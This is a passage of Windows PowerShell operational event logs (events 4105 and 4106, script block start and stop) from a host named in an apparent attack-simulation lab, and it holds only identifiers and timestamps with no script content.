09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032701
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032700
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032699
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032698
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032682
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032681
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032676
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032675
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
